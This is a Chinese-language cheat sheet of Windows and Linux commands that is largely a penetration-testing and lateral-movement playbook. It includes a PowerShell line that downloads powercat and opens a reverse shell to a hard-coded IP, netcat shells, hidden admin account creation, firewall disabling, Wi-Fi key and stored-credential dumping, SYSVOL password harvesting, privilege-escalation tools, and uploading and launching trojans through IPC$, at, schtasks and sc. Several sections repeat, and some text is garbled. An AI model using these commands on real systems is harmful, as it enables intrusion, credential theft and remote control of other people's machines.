Windows操作系统命令与脚本总结
- 管理员权限:
- [防火墙 :](#防火墙 :)
- 匹配出注册表信息中的软件:
- 获取完整补丁信息(比systeminfo全):
- 获取系统和版本信息
- 显示本地或远程机器上当前运行的进程列表。
-
-
- [操作系统 服务命令列表](#操作系统 服务命令列表)
-
- [chkdsk.exe 磁盘检查](#chkdsk.exe 磁盘检查)
- 开3389端口
- systeminfo
- 获取NETBIOS主机名
- [ping 测试网络连接](#ping 测试网络连接)
- [net account](#net account)
- [net computer 添加或者删除域数据库中的计算机,](#net computer 添加或者删除域数据库中的计算机,)
- telnet命令进行远程登陆
- 使用ftp命令进行数据传输
- 使用netstat命令查看网络连接的相关信息
- [tracert 查看IP数据报的传输路径](#tracert 查看IP数据报的传输路径)
- [IPC入侵与防范](#IPC入侵与防范)
- copy复制一份或多份文件
- 网络
-
- [ipconfig 显示本地IP地址](#ipconfig 显示本地IP地址)
- [netstat -anp/ano](#netstat -anp/ano)
- 查看路由表及所有可用接口的arp缓存表
- powershell
- [dir 用于显示目录的文件和子目录的列表](#dir 用于显示目录的文件和子目录的列表)
- type显示文本文件的内容
- at用于显示或创建计划任务
- sc是用于与服务控制管理器和服务进行通信的命令行程序。
- [cls 指电脑cmd命令提示符中用来清除屏幕的命令](#cls 指电脑cmd命令提示符中用来清除屏幕的命令)
管理员权限:
添加账号并加入管理员组
cpp
net user admin1 admin1 /add & net localgroup administrators admin1 /add
添加用户至远程桌面组
net localgroup "Remote Desktop Users" aming /add
#此组中的成员被授予远程登录的权限
允许修改密码
net user 用户名 /passwordchg:yes
防火墙 :
关闭防火墙
cpp
netsh firewall set opmode mode=disable
添加防火墙规则,允许 3389 端口通信:
cpp
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
匹配出注册表信息中的软件:
find "DisplayName" reg.txt |find /V "ParentDisplayName" > tmplist.txt
获取完整补丁信息(比systeminfo全):
wmic qfe list
获取系统和版本信息
cpp
systeminfo | findstr /B /I /C:"os name" /C: "OS Version"
/B: 在一行开始匹配,
/I:不区分大小写
/C:string :使用指定的字符串作为文字搜索字符串
如果是中文操作系统,输入如下命令
cpp
systeminfo | findstr /B /I /C:"os 名称" /C: "OS 版本"
4,查看系统体系结构
echo %processor_architecture%
5,查看安装的软件及版本、路径等
wmic product get name,version
6,利用powershell命令,收集软件版本信息,具体如下
powershell "get-wmiobject -class win32_product | select-object -property name,version"
7,查询本机服务信息
wmic service list brief
显示本地或远程机器上当前运行的进程列表。
一般情况下我们都是通过tasklist查看系统当前正在运行的进程,然后通过tskill来关闭。
cpp
tasklill xxxx
cpp
tasklist /v
tasklit /S 192.168.10.1 /U administrator /P Admin@123
//列出DC上运行的进程
/S 指定IP地址
/U 指定哪个用户执行这个命令
/P 指定该用户密码
wmic process list brief
9,查看启动程序信息
wmic startup get command,caption
10,查看计划任务
schtasks /query /fo list /v
11,查看主机开机时间
net statistics workstation
12,查询用户列表
net user
13,获取本地管理员组的信息
net localgroup administrators
14,查看当前在线用户
query user || qwinsta
15,列出或断开本地计算机和连接的客户端的会话
net session
16,查询端口列表
netstat -ano
17 ,查询补丁信息
systeminfo
18,使用wmic 识别安装系统中的补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
19,查询本机共享,命令如下
net share
利用wmic 查找共享,命令如下
wmic share get name,path,status
21,关闭防火墙命令
#windows server 2003 系统之前版本,命令如下:
netsh firewall set opmode disable
#windows server 2003 之后的系统版本
netsh advfirewall set allprofiles state off
22,查看防火墙配置
netsh firewall show config
23,修改防火墙配置
#windows server 2003 系统之前版本,命令如下:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
#windows server 2003 之后的系统版本,允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序连出 ,命令如下
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
允许3389端口放行,命令如下
netsh advfirewall firewall add rule name="remote Desktop" protocol=tcp dir=in localport =3389 action=allow
24,查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
25,查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
#在windows 2003中开启3389
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#在windows2008和widnows 2012中开启3389
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
域相关
查询当前登陆域:
net config workstation
set log
echo %logonserver%
查询域控制器主机名:
net group "domain controllers" /domain
nltest /dclist:域
查询域管名字:net group "domain admins" /domain
查看当前域机器列表:net group "domain computers" /domain
查询当前所有域用户: net user /domain
当前域分组情况:net group /domain
查看共享目录:net share
查看当前在线用户:query user || qwinsta
查看远程计算机tasklist:tasklist /S ip /U domain\username /P /V
查看本机杀软:WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntivirusProduct Get displayName
远程桌面连接记录:cmdkey /l
本机已安装程序:wmic product get name,version
本机相关信息
Windows
查看当前用户权限:whoami /all
查看当前用户是否属于管理组:net localgroup administrators && whoami
查看当前系统是否为虚拟机:systeminfo | findstr /i "System Model"
本机配置信息:systeminfo
本机任务列表:tasklist
查看已安装软件:
对外已开启端口服务:netstat -ano
获取系统注册的服务信息:sc query state= all
查看本机保存的登陆凭证:cmdkey /l
查看防火墙状态:netsh advfirewall show allprofiles
查看连过的WIFI:netsh wlan show profiles
查看wifi的密码:netsh wlan show profile name="wifi名称" key=clear
查看RDP连接凭证:dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
查看域内某台主机详情:net view /domain:XXX
获取域里面所有机子的本地管理员账号密码:dir /s /a \域控IP\SYSVOL*.xml
powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 101.35.124.140 -p 6666 -e cmd
操作系统 TTL
LINUX 64
WIN2K/NT 128
WINDOWS 系列 32
52 win
UNIX 系列 255
wmic qfe GET hotfixid | findstr /C:"KB4012212
explorer
操作系统 服务命令列表
- winver---------检查windows版本
wmimgmt.msc----打开windows管理体系结构(wmi)
wupdmgr Windows更新程序
wscript Windows脚本宿主设置
文档
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wscript
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------xp自带局域网聊天
mem.exe--------显示内存使用情况
msconfig.exe---系统配置实用程序
mplayer2-------简易 widnowsmediaplayer 媒体播放机
mspaint--------画图板
mstsc----------远程桌面连接
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查directx信息
drwtsn32------系统医生
devmgmt.msc---设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开dde共享设置
dvdplay--------dvd播放器
nslookup-------ip地址侦测器
netstopmessenger-----停止信使服务
netstartmessenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat-an----(tc)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windowsxp系统的双重密码
services.msc---本地服务设置
sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc/scannow---windows文件保护(扫描错误并复原)
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器(2000/xp/2003)
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce-p----15秒关机
regsvr32/u*.dll----停止dll文件运行
regsvr32/uzipfldr.dll------取消zip支持
cmd.exe--------cmd命令提示符
chkdsk.exe 磁盘检查
cpp
chkdsk F: /f
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------sqlserver客户端网络实用程序
clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------LJ整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------odbc数据源管理器
oobe/msoobe/a----检查xp是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
CMD部分提权常用命令
whoami
net user 查看所有用户列表
echo %username%
systeminfo
net user admin password /add
net localgroup Administrators admin /add
net start telnet 开telnet服务
net use z:127.0.0.1c$ 映射对方的C盘
attrib 隐藏文件
开3389端口
- Windows 控制台注册表工具
调用3.0注册表的一个命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add /? 查看 命令 使用方法
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
[/reg:32 | /reg:64]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略默认到当前机器。远程机器上
只有 HKLM 和 HKU 可用。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名称。
/v 所选项之下要添加的值名称。
/ve 为注册表项添加空白值名称(默认)。
/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ]
如果忽略,则采用 REG_SZ。
/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符。
/d 要分配给添加的注册表 ValueName 的数据。
/f 不用提示就强行覆盖现有注册表项。
/reg:32 指定应该使用 32 位注册表视图访问的注册表项。
/reg:64 指定应该使用 64 位注册表视图访问的注册表项。
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MULTI_SZ,数据: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
注意: 在扩充字符串中使用插入符号 ( ^ )
查终端端口
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
巴西烤肉 Churrasco.exe "命令"
使用方法:
C:\RECYCLER\Churrasco.exe "net user xiaoma xiaoma /add && net localgroup administrators xiaoma /add"
C:\RECYCLER\Churrasco.exe "net user admin$ /del" 删除帐号
query user 查看会话
logoff ID号 踢掉
C:\RECYCLER\Churrasco.exe "logoff 1"
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
NC反弹
路径\nc.exe -l -p 端口 -t -e 路径\cmd.exe
c:\RECYCLER\nc.exe -l -p 1234 -t -e c:\RECYCLER\cmd.exe
NC上传
DOS界面下运行:
NC -vv www.baidu.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
LCX端口转发
先本地监听51端口 lcx.exe -listen 51 3389
c:\recycler\lcx.exe -slave 自己的ip 51 肉鸡IP 3389 LCX转发
c:\recycler\lcx.exe -slave 222.222.222.222 51 111.111.111.111 3389
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
360提权
1.开启终端服务,端口为3389;用法:360.exe "port"
2.替换5下shift为cmd;用法:360.exe "sethc"
====================================================================
gethash使用
C:\RECYCLER\gethash.exe $local
=========================================================================
pr提权
c:\recycler\cmd.exe
c:\recycler\pr.exe
pr.exe "net user xiaoma xiaoma /add & net localgroup administrators xiaoma /add"
================================================================================
rar.exe打包命令
cmd.exe /c "\Program Files\winrar\rar.exe" a -r d:\wwwroot\1.rar d:\wwwroot
@查询存在关系的机器
Net view
@查询有几个域
nei view /damin
@查看 testdomain域中的计算机列表
net view /domain:testdomain
@查询域内的组
net group /domain
@划分网段
dsquery subnet
@查询域内用户
net user /domain
@查询域内组信息
net group /domain
@查询域管理用户组
net group "domain admins" /domain
@查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息!
net user domain-admin /domain
@查询域内计算机
net group "domain computers" /domain
@判断机器属于哪个域
net config Workstation
@判断主域.主域服务器都做时间服务器
net time /domian //这招是在LCX牛的文章里面学会的
net group "domain admins" /domain
@ipc域内连接
net use \IP\ipc$ password /user:username@domain
====
猜测内网结构的一些命令和工具
====
tracert 10.1.0.1
ping x.x.x.x
nbtscan -r 192.168.16.0/24
@扫描某个段的一些东西 //感谢玫瑰大叔的工具。感谢猫师傅给我说这个东东
hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200
还有一个内网结构图形化表现工具
dude ///感谢影叔 感谢LInux520群得朋友说
还有一部分没有整理。过段时间在发上来吧~ 欢迎各位牛一起交流内网渗透。
systeminfo
获取NETBIOS主机名
- ping -a IP
ping 测试网络连接
net account
- net命令管理网络环境
该命令用于
更新用户的账户数据库,
并且为所有账户修改密码和登录需求,
如:强制用户在时间到期之后多久必须注销、
密码最长/短使用期限、密码长度下限、锁定阈值、锁定持续时间、
锁定观测窗口和计算机角色等详细信息
format:
"net accounts [/forcelogoff:{minutes|no}][/minpwlen:length][/maxpwage:{days|unlimited}][/minpwage:days][/uniquepw:number][/sync][/domain]"
for example:
"net accounts"
net computer 添加或者删除域数据库中的计算机,
所有计算机的添加和删除都会转发到主域控制器
format:"net computer \computername {/add|/del}"
- net config
该命令用于显示工作站或服务器服务的配置消息,
或者显示并更改某项服务的设置
cpp
format: net config [service[options]]
- net config workstation
命令用于显示更改配置工作站服务参数,更改立即生效并永久保持
format:"net config workstation [/charcount:bytes][/chartime:msec][/charwait:sec]"
- net continue
该命令能用重新激活挂起的服务
format:"net continue service"
- net file
用于显示某种服务器上所有打开的共享文件夹及锁定文件夹数,
也可以关闭个别文件并取消文件锁定
- net group
用于Windows NT Server域中添加、更改或显示全局组,
仅在Windows NT Server域中可用
format:
"net group [groupname [/comment:"text"]][/domain]
net group groupname {/add[/comment:"text"]|delete}[/domain]
net group groupname username[...]{/add|/delete}[/domain]"
- net help
该命令用于提供网络命令列表及帮助主题,
format:"net help [command] net command {/help|/?}"
- net localgroup
用于显示、删除或更改本地组
format:
"net localgroup [groupname [/comment:"text"]][/domain]
net localgroup groupname{/add [/comment:"text"]|/delete}[/domain]
net localgroup groupname name[...]{/add|/delete}[/domain]"
- net name
用于添加或删除消息名(有时称别名),或显示计算机接受消息的列表。要使用该命令则必须先运行信使服务
format:"net name[name [/add|/delete]]"
- net print
用于显示或控制打印作业及打印队列
format:"net print \computername
net print \sharename
net print [\computername] job# [/hold|/release|/delete]"
- net session
用于列出或断开本地计算机和与之连接的客户端会话
format:"net session [\computername][/delete]"
- net send
用于向网络的其他用户、计算机发送消息。要接受消息必须运行信使服务
format:"net send {name|*|/domain[:name]|/users} message"
- net share
用于创建、删除或显示共享资源
format:"net share sharename
net share sharename=drive:path [/users:number|/unlimited][/remark:"text"]
net share sharename [/users:number|unlimited][/remark:"text"]
net share {sharename|drive:path} /delete"
- net time
用于时计算机的时间与另一台计算机或域的时间同步。
不带/set参数时,将显示另外一台计算机或域的时间
format:"net time [\computername|/domain[:name]][/set]"
telnet命令进行远程登陆
格式
format:"telnet ip地址/主机名称"
步骤
输入"telnet 主机名/ip地址"启动telnet会话
一旦telnet成功连接到远程计算机上,就显示登陆信息并提示用户输入用户名和口令
如果输入正确就能成功的登录并在远程计算机上工作
使用ftp命令进行数据传输
格式
format:"ftp -v -d -l -n -g [主机名]"
使用netstat命令查看网络连接的相关信息
使用netstat -a命令:显示所有连接和端口
使用netstat -b命令:显示包含创建每个连接或者监听端口的可执行文件
使用netstat -e命令:显示以太网数据统计,可以结合-s使用
使用netstat -n命令:能以网络IP地址代替名称,显示网络连接情形
netstat /help查看命令帮助。。。
tracert 查看IP数据报的传输路径
tracert是路由跟踪实用程序, 用于确定IP数据包访问目标所采取的路径
format:
cpp
tracert [-d][-h maximum_hops][-j host-list][-w timeout] targer_name
for example:
tracert 主机名
IPC$入侵与防范
建立IPC$连接
format:"net use \IP\ipc$ Password/user:Admin"
IP:目标ip地址
Password:目标计算机密码
Admin:目标计算机用户名
建立映射
format:"net use z:\IP\c$"
\IP\c $ 表示目标电脑上的C盘,符号$表示隐藏的共享,
z:表示将远程主机的C盘映射为本地磁盘的盘符
查看远程连接
format:"net use * /del"
空连接漏洞
format:"net use \ip "" /user:"" " --注意一共有四个空格 引号不能少
IPC$连接原本是要求客户机具有足够的权限才能连接到主机,
然而该漏洞允许客户端使用空用户名和密码就可以与目标主机成功建立连接。
虽然这样无法执行管理类操作,
既不能映射网络驱动器、上传文件、执行脚本命令,
但是却可以用来探测目标主机中的一些信息。
Telnet入侵
使用telnet入侵前必须建立IPC$连接,
建立连接是为了方便开启远程计算机中被禁用的telnet服务
format:"sc \ip config tlntsvr start=auto" --用sc命令把禁用的telnet服务变成自动
"sc \ip start tlntsvr" --用sc命令启动telnet服务
"telnet ip" --登录telnet
"net share" --查看默认共享
"net share sharename=drive:path" --建立cKaTeX parse error: Undefined control sequence: \1 at position 18: ... "copy \̲1̲.txt \\ip\c" --copy命令上传木马 这里是把命令行切到c盘下了,1.txt在C盘根目录
"at \ip time cmd" --at命令定时执行 time参数为时间 cmd为上传到目标主机共享的程序名 即木马
"net user 用户名 密码 /add" --添加用户
"net localgroup administrators 用户名 /add" --为上一步添加的用户名加入工作组
注意:如果对方采用了NTLM认证策略,
可以连接网络注册表修改
HKEYLOCAL\MACHINE\SOFTWARE\MICROSOFT\TELNETSERVERf\1.0 下的
NTLM键值由2改成0,然后重启telnet服务
copy复制一份或多份文件
cpp
copy C:\test.txt \\192.168.10.1\c$
//将test.txt文件复制到DC的C盘目录下(可复制木马等)
cpp
copy 1.jpg /b + 1.jsp /a 2.jpg
//生成图片马
通过注册表入侵
Windows注册表是帮助
Widnows控制软硬件 、用户环境和Windows界面的一套数据文件,
入侵者可在注册表编辑器中
通过连接网络注册表进入远程计算机的注册表并进行实时监控。
如果想阻止该入侵,只需要关闭Remote Registry服务
网络
ipconfig 显示本地IP地址
netstat -anp/ano
netstat -ano -p tcp | find ":3389" >nul 2>nul && echo 3389端口开启!|| echo 3389 no!
查看路由表及所有可用接口的arp缓存表
arp -a
route print
tasklist /v
net user
#添加用户
net user aming HackamingMM /add
#添加用户至管理员组
net localgroup "administrators" 用户名 /add
#添加用户至远程桌面组
net localgroup "Remote Desktop Users" 用户名 /add #此组中的成员被授予远程登录的权限
#允许修改密码 net user 用户名 /passwordchg:yes
wmic qfe GET hotfixid | findstr /C:"KB4012212
explorer
4,查看系统体系结构
echo %processor_architecture%
5,查看安装的软件及版本、路径等
wmic product get name,version
powershell
收集软件版本信息,具体如下
powershell "get-wmiobject -class win32_product | select-object -property name,version"
7,查询本机服务信息
wmic service list brief
8,查询进程列表
tasklist /v
wmic process list brief
9,查看启动程序信息
wmic startup get command,caption
10,查看计划任务
schtasks /query /fo list /v
11,查看主机开机时间
net statistics workstation
12,查询用户列表
net user
13,获取本地管理员组的信息
net localgroup administrators
14,查看当前在线用户
query user || qwinsta
15,列出或断开本地计算机和连接的客户端的会话
net session
16,查询端口列表
netstat -ano
17 ,查询补丁信息
systeminfo
18,使用wmic 识别安装系统中的补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
19,查询本机共享,命令如下
net share
利用wmic 查找共享,命令如下
wmic share get name,path,status
21,关闭防火墙命令
#windows server 2003 系统之前版本,命令如下:
netsh firewall set opmode disable
#windows server 2003 之后的系统版本
netsh advfirewall set allprofiles state off
22,查看防火墙配置
netsh firewall show config
23,修改防火墙配置
#windows server 2003 系统之前版本,命令如下:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
#windows server 2003 之后的系统版本,允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序连出 ,命令如下
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
允许3389端口放行,命令如下
netsh advfirewall firewall add rule name="remote Desktop" protocol=tcp dir=in localport =3389 action=allow
24,查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
25,查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
#在windows 2003中开启3389
cpp
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#在windows2008和widnows 2012中开启3389
cpp
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
域相关
查询当前登陆域:
net config workstation
set log
echo %logonserver%
查询域控制器主机名:
net group "domain controllers" /domain
nltest /dclist:域
查询域管名字:net group "domain admins" /domain
查看当前域机器列表:net group "domain computers" /domain
查询当前所有域用户: net user /domain
当前域分组情况:net group /domain
查看共享目录:net share
查看当前在线用户:query user || qwinsta
查看远程计算机tasklist:tasklist /S ip /U domain\username /P /V
查看本机杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
远程桌面连接记录:cmdkey /l
本机已安装程序:wmic product get name,version
本机相关信息
Windows
查看当前用户权限:whoami /all
查看当前用户是否属于管理组:net localgroup administrators && whoami
查看当前系统是否为虚拟机:systeminfo | findstr /i "System Model"
本机配置信息:systeminfo
本机任务列表:tasklist
查看已安装软件:
对外已开启端口服务:netstat -ano
获取系统注册的服务信息:sc query state= all
查看本机保存的登陆凭证:cmdkey /l
查看防火墙状态:netsh advfirewall show allprofiles
查看连过的WIFI:netsh wlan show profiles
查看wifi的密码:netsh wlan show profile name="wifi名称" key=clear
查看RDP连接凭证:dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
查看域内某台主机详情:net view /domain:XXX
获取域里面所有机子的本地管理员账号密码:dir /s /a \域控IP\SYSVOL*.xml
Linux
查看当前用户:whoami
查看所有用户:cat /etc/passwd
查看用户所属组:id
查看当前系统是否为虚拟机:systemd-detect-virt
查看linux发行版本:cat /etc/redhat-release
查看系统内核版本:cat /proc/version
查看系统详细信息:uname -a
本机进程列表:ps -ef
对外已开启端口服务:netstat -anp
查看iptables规则:iptables -nvL
查看selinux开启状态:getenforce
查看用户历史命令:
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
查询已安装软件:rpm -qa
查看所有用户计划任务:ls /var/spool/cron/
dir 用于显示目录的文件和子目录的列表
cpp
dir \\192.168.10.1\c$ //列出DC上C盘的文件
type显示文本文件的内容
cpp
type \\192.168.10.1\c$\test.txt
//读取目标机器上的文件
at用于显示或创建计划任务
可通过at命令设置计划任务执行命令,将结果写入文件中,
然后通过type读取文件 时间可通过net time来获取
cpp
at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig > c:\test"
也可设置定时任务来执行木马文件
通过copy等方法将木马文件上传至目标机器
cpp
copy c:\artifact.exe \\192.168.10.1\c$
通过at来设置计划任务即可
cpp
at \\192.168.10.1 15:20:30 c:\artifact.exe
删除计划任务
cpp
at \\[IP] [ID] /delete
//在新建计划任务时会提示ID是多少或直接执行at可看计划任务ID
at \\192.168.10.1 1 /delete
schtasks命令
自Windows Vista、Windows Server 2008之后版本已经将at命令废弃了,
可使用schtasks命令代替,schtasks比at更灵活、自由.
常用参数:
/create 创建新计划任务
/query 列出所有计划任务
/delete 删除计划任务
/run 运行计划任务
/s 指定目标机器
/u 指定用户名
/p 指定木马
/tn 指定计划任务名称
/sc 指定计划频率(MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)
/tr 指定任务运行程序的路径
/ru 指定任务运行权限( ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM")
/st 指定运行任务的开始时间
在目标机器上创建一个名为test的计划任务,
该计划任务在开机时启动,启动程序为C盘下的artifact.exe,
启动权限为system
cpp
schtasks /create /s 192.168.10.1 /tn test /sc onstart /tr c:\artifact.exe /ru system /u administrator /p "Admin@123" /f
查看名为test的任务
cpp
schtasks /query /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"
删除计划任务
cpp
schtasks /delete /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"
在使用schtasks命令时,会在系统中留下日志C:\windows\tasks\schedlgu.txt
sc是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc进行横向流程:
与目标机器建立ipc连接
将木马文件上传至目标机器
通过sc创建一个名为test的服务
cpp
sc \\[IP] create [ServiceNname] binpath= "[path]"
sc \\192.168.10.1 create test binpath= "c:\artifact.exe"
启动test服务即可
cpp
sc \\192.168.10.1 start test
删除创建的服务
cpp
sc \\[IP] delete [ServerName]
sc \\192.168.10.1 delete test
通过设置服务来关闭防火墙
cpp
sc \\192.168.10.1 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.19.1 start unablefirewall